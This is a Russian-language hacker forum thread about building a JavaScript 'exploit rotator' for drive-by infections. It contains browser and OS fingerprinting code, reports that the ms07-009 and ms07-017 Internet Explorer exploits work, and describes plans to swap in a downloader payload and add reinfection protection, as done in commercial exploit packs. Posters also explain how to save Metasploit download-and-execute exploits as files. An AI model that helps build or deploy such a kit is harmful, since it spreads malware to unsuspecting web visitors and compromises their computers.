но ведь в той же опере или мозилле можно выбрать опцию -> идентифицировать \ как ... в этом случае браузер будет определён правильно?
Х.е.з. Может и не правильно, в самих сплоитах ещё есть функции определения браузера и версии системы, например вот: Code: function GetSystemVersion() { //Simple Detecting of OS version out of Jscript version: var ver = ""; ver += ScriptEngineMajorVersion(); ver += ScriptEngineMinorVersion(); ver += ScriptEngineBuildVersion(); if ( ver<568820 ){ return("preSP2"); } else if ( ver<575730 ){ return("SP2"); } else return (0); }
Вот нормальный скрипт для определения типа браузера на JavaScript Code: <script language="javascript"> var BrUserAgent = navigator.userAgent.toLowerCase(); var BrUserVersion = parseInt(navigator.appVersion); if(BrUserAgent.indexOf('opera')!=-1){ document.write('Opera'); } else if(BrUserAgent.indexOf('msie')!=-1){ document.write('IE'); } else if(BrUserAgent.indexOf('mozilla')!=-1){ document.write('mozilla'); } else{ document.write('unknown'); } </script> to -=lebed=- Твой скрипт определения браузера протестил, действительно можно обойти проверку изменив идентификацию в опциях. Скрипт выше определяет правильно, если изменять идентификацию в опциях оперы или мозилы. Но если будет изменяться UserAgent в HTTP заголовке, например с помощью проксей или спец. прог, то и этот скрипт не поможет! Со 100% вероятностью можно определить только оперу по специфичному свойству window.opera. Кстати как там на счет продолжения ротатора? Готов помочь генерить сплойты Да и продолжение статьи вообще будет? Хотелось бы почитать про обфускацию HTML, что нидь новенькое.
Подправил немного под себя: Code: <!-- Функция определения броузера (перенная name_brouser - Название, code_brouser - Присвоенный код, ver_brouser - версия браузера, в зависимости от параметра [p] выдаёт код броузера (code_brouser), имя броузера (name_brouser), или версию браузера (ver_brouser) --> function test_brouser(p) { var BrUserAgent = navigator.userAgent.toLowerCase(); var name_brouser = navigator.appName var ver_brouser = navigator.appVersion; var code_brouser = 0 if(BrUserAgent.indexOf('opera')!=-1){ code_brouser=1; } else if(BrUserAgent.indexOf('msie')!=-1){ code_brouser=0; } else if(BrUserAgent.indexOf('mozilla')!=-1){ code_brouser=2; } else { code_brouser=3; } if (p===0) {return code_brouser;} else if (p===1) {return name_brouser;} else {return ver_brouser;} } Я думаю не стоить пока парсить navigator.appName - так больше инфы возвращает функция. (пропарсить мона потом при вызове).
кароче вот Вам заготовка: скачать (вместо сплоитов - пустые страницы, пока... ну и задержка там маленькая стоит) Прошу затестить и отписаться у кого какой код ситуации. Попросту при запуске index.htm или обновлённого index(обход подмены идентификации броузера).htm страница с каким номером не находится. В ротаторе заложены только три кода ситуации для IE 6 (3), Оперы 9 (19), FireFox (35). Респект [53x]Shadow за функцию.
Короче вроде все путем протестил на IE и FireFox! Оперы под рукой нет, если что вечером прогоню. А так все прикольно работает, тока не понятно пока зачем cpu, если переменная всегда равна 0 и в 11.html надо номер эксплойта исправить с 1 на 11, но енто мелочь, правда не приятная, долго вникал в цикл думал ошибка
Затестил сегодня: Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009) и Ms Windows (.ani) Gdi Remote Elevation Of Privilege Exploit (ms07-017) - оба сплоита пашут под IE 6, осталось сменить начинку на загрузчик...
1. Начинал писать с размахом сначала (но потом на MAC решил забить, ведь другая архитектура - другие шеллкоды, в принципе щас не актуально, можно исключить. 2. А ну да, страницы не хватало, просто скопировал с 1.html, а в теле поменять забыл... P.S. А вообще для ротации 3-5 последних сплоитов заглаза хватит! Если уж последние не пробьют, то смысла подсовывать какие-более ранние не вижу.. Потом в планах функция определения пробил сплоит браузер или нет и в случае пробива завершение ротации...
Кстати я тут подумал, было бы не плохо реализовать функцию защиты от повторного заражения. То есть если пользователь уже был на странице, переслать его на обычную страницу. Это можно легко реализовать на php сохраняя и фильтруя ip-адреса, прокси не рассматриваем. Но так как весь ротатор реализован на javascript, есть по крайней мере один (запарился гуглить) вариант, с использованием SSI: Code: <script language="JavaScript"> var ip = [COLOR=Green]'<!--#echo var="REMOTE_ADDR"-->'[/COLOR]; alert("Your IP address is "+ip); </script> Других оптимальных вариантов просто не нашел.
Вообще, по - нормальному, функцию бана по ип, обязательную кстати в коммерческих связках, следует реализовывать на пхп. А те адреса, что в бане стоит хрнанить в базе mysql. ИМХО неплохо получаеться=)
Почему ты зациклился ТОЛЬКО на ява скрипте, ведь это создаст дополнительную нагрузку на клиента! Пиши Ротатор на пхп + mysql, можно и перла добавить, а сплоиты уже на ява скрипте!
Выше ответы на вопросы (в самом начале статьи). 1. Я плохо пока знаю php. 2. Ставилась задача написать ПРОСТОЙ ротатор и чтоб можно было разместить на любом бесплатном хостинге, где нет поддержки php и perl. 3. Функцию бана по IP ? А если люди за NAT и у них один внешний IP то всю подсеть банить? Имхо лишнее, функцию защиты от повторного заражения лучше возложить на начинку (загрузчик) или самого троя...
Ты заблуждаешься по пунктам 2 и 3 соответственно. Не веришь мне, спроси людей авторитетных. Но поверь, тут лучше не проще делать, а по уму. Я кстати тож пхп не кодю. Но в скрипте разберусь.
Зря ты так, на самом деле на пхп бан писать 5 сек, но если на javascript это действительно универсальней получается, мона на любом хосте разместить, без запарки!
У меня только 1 вопросец. Впринципе конечно ниче самопал ))) Но вот вопрос как в metasploite делать сплоиты с начинкой download&exec чтоб они не на web висели а именно в виде файла и чтоб уже пихать их вместо файлов...
Ломаешь сам себя, заходишь на сервер метасплоита неуязвимым браузером (Опера 9.20 или Mozila Firefox) сохраняешь страницу - сплоит в виде файла html готов. (не со всеми прокатывает конечно, но со многими) в некоторых требуются дополнительные файлы-картинки (tiff, jpg, bmp,gif и др. - например WMF-сплоит)